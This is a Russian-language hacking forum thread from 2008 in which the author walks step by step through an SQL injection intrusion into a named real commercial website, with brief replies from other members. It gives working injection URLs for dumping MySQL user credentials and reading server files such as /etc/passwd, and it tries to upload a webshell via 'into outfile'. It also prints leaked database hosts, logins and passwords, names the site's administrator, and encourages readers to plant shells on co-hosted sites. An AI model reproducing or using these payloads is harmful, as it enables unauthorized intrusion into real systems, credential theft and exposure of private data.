Авторские статьи Мысли вслух

Discussion in 'Статьи' started by _Pantera_, 24 Jul 2008.

  1. _Pantera_

    _Pantera_ Характерне козацтво

    Joined:
    6 Oct 2006
    Messages:
    186
    Likes Received:
    356
    Reputations:
    109
    Введение

    Меня довольно часто просят снять на видео сам процесс взлома. Именно сам ход мыслей, стратегию и т.п
    Я решил написать статью, которая возможно поможет многим начинающим в освоении хака......


    И так, НАЧНЕМ!

    Сайт, который я ломаю - caduser.ru

    PR – 3
    ТИЦ – 325

    Скажу вам это довольно неплохо. Сразу захотелось проверить файл robots.txt (Для тех кто незнает http://ru.wikipedia.org/wiki/Robots.txt), но результат не оправдал себя:

    PHP:
    User-agent: *
    Disallow: /img
    Disallow
    : /inc
    Админкой тут и не пахнет, ну что ж, двигаем дальше.....
    Сканирую порты, и на выходе получаю:

    Очень впечатляющий результат! Значит к БД можно удаленно подконектиться, а для этого нужны кое-какие данные, которые нам предстоит найти.

    Исследую сайт, и вскоре нахожу

    PHP:
    http://www.caduser.ru/acad/index.php?ver_id=5
    Параметр ver_id уязвим. На сайте присутствует SQL-inj, в этом можно убедиться подставив кавычку получаем:

    Подбираем количество полей в таблице, (расписывать не буду как это делается, статей по этому поводу полно), их оказалось 4. Формируем запрос(подставляя стандартную mysql.user, а вдруг повезет):

    PHP:
    http://www.caduser.ru/acad/index.php?ver_id=-5+union+select+1,2,3,4+from+mysql.user/*
    Поле 2 выводиться на экран. Для начала я решил узнать логин и пароль рута от БД

    PHP:
    http://www.caduser.ru/acad/index.php?ver_id=-5+union+select+1,concat(user,char(58),password),3,4+from+mysql.user/*
    А в ответ получаю:

    Эту запару можно обойти несколькими способами, я выбрал кодирование и декодирование HEX-ом:

    PHP:
    http://www.caduser.ru/acad/index.php?ver_id=-5+union+select+1,unhex(hex(concat(user,char(58),password))),3,4+from+mysql.user/*
    а на выходе получил голого Root-a. Админ решил не ставить пароль =) Идем дальше!
    Проверяем file_priv:

    PHP:
    http://www.caduser.ru/acad/index.php?ver_id=-5+union+select+1,unhex(hex(file_priv)),3,4+from+mysql.user/*
    Y

    Вот оно!!! То, что может порадовать мне душу. Ковычки не фильтруються!
    Пробуем вывести /etc/passwd (результат очевиден из выше сказанного)

    PHP:
    http://www.caduser.ru/acad/index.php?ver_id=-5+union+select+1,load_file('/etc/passwd'),3,4+from+mysql.user/*
    Получаем:

    Из этих сведений можно вытянуть информацию про порты которые открыты, но нам оно уже не надо))

    Пробую прочитать самый корень сервака:
    PHP:
    http://www.caduser.ru/acad/index.php?ver_id=-5+union+select+1,load_file('/'),3,4+from+mysql.user/*
    ДА!!! Он читается! Читаются и каталоги и подкаталоги т.е мы можем просмотреть содержимое всех файлов в любой папке. Первым делом я раскрыл путь к каталогу WWW:

    PHP:
    /htdocs/web/caduser/WWW/
    Меня интересовали имена папок в этом каталоге:

    Раз у нас есть права на чтение-запись и не фильтруются ковычки, грех не попробовать залить веб-шелл через into outfile:

    PHP:
    http://www.caduser.ru/acad/index.php?ver_id=-1+union+select+1,'<?php phpinfo();?>',3,4+into+outfile+'/htdocs/web/caduser/WWW/image/1.php'/*
    Вот запара, куда не плюнь видим:

    Прав не хватает, ну что ж как говориться - еще не все потеряно, двигаем дальше!

    Решил я спуститься на один каталог выше /htdocs/web/caduser/ и посмотреть, что там твориться. Единственное, что меня там заинтересовало, это папочка PASS. Идем прямо в нее:

    PHP:
    http://www.caduser.ru/acad/index.php?ver_id=-1+union+select+1,load_file('/htdocs/web/caduser/PASS/'),3,4+from+mysql.user/*
    И сразу вижу интересные для себя файлы:

    Посмотрим что лежит в первом. Самое интересное на что я обратил внимание это:

    PHP:
    define('CS_PASS_LINK','http://pass.caduser.ru/');//
    if(!defined('DEMOS')){
        
    $demos mysql_connect("195.133.21.9""lermsc""8Jm9zk4d") or die("Could not connect");
        
    define('DEMOS',$demos);
        
    $result mysql_query("SET CHARACTER SET cp1251_koi8",DEMOS) or die("QF-1: ".mysql_error());
        
    mysql_select_db("lermsc",DEMOS);
    Начнем с самого верха http://pass.caduser.ru/ наверное что то типа админки. Там просят для авторизации email и password, но изучая сорсы сайта я понял что все что можно храниться в БД. Пробую ввести

    Но результат превысил себя, на выходе я получил:


    Вот такая она админка, но на самом деле ничего тут интересного нет, кроме инфы об Сипидин Денис Павлович, который является администратором.

    Прочитаем еще не менее интересный файлик pass.php

    PHP:
    http://www.caduser.ru/acad/index.php?ver_id=-1+union+select+1,load_file('/htdocs/web/caduser/PASS/pass.php'),3,4+from+mysql.user/*
    И тут есть не менее интересные строки:

    PHP:
    //$demos = mysql_connect("195.133.21.9", "lermsc", "8Jm9zk4d") or die("Could not connect");
    //$demos = mysql_connect('194.87.13.132', 'csoft', 'as2hc9J!tyd83') or die("Could not connect");

    $demos mysql_connect('localhost''root''') or die("Could not connect");
    define('DEMOS',$demos);
    mysql_select_db("lermsc",DEMOS) or die("Could not select database");
    Вот тут то мы и убедились, что пароля на самом деле нет к БД

    На этом я хочу остановиться, несколько раз обдумывал это решение. Шелл заливать не буду из нескольких соображений, во первых это запрещено форумом, во-вторых форум в паблике, а тут хулиганов немеренно, сеть сайтов все-таки коммерческая!

    С помощью Reverse IP можно узнать сайты хостящиеся вместе с нашим:

    Если спуститься еще на один уровень выше /htdocs/web/ можно их все просмотреть. Ну и если кому то неймется через into outfile на caduser.ru залить веб-шелл, наверняка хоть на одном из них найдется папка для записи.

    Спасибо за внимание! _Pantera_ (C)
     
    6 people like this.
  2. Underwit

    Underwit Banned

    Joined:
    6 Oct 2006
    Messages:
    191
    Likes Received:
    137
    Reputations:
    16
    Ничо особенного, всё как обычно. Почти все видео из раздела SQL-INJ на сайте такого плана - кавычка, скуль, order by, union select и поняслась.
    Ну всё равно + за старания и хорошее офорление.
     
  3. _Pantera_

    _Pantera_ Характерне козацтво

    Joined:
    6 Oct 2006
    Messages:
    186
    Likes Received:
    356
    Reputations:
    109
    Видео снимается по накатанной схеме после взлома, там ничего лишнего, а я старался показать весь ход рассуждений и правильных и неправильных, как оно есть на самом деле....
     
  4. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    977
    Reputations:
    783
    mq - off, мускуль от рута, сайт дырявый. Долго сервер такой подбирал?

    PS Достойный продолжатель дела R0ID'a из хакера.
     
    5 people like this.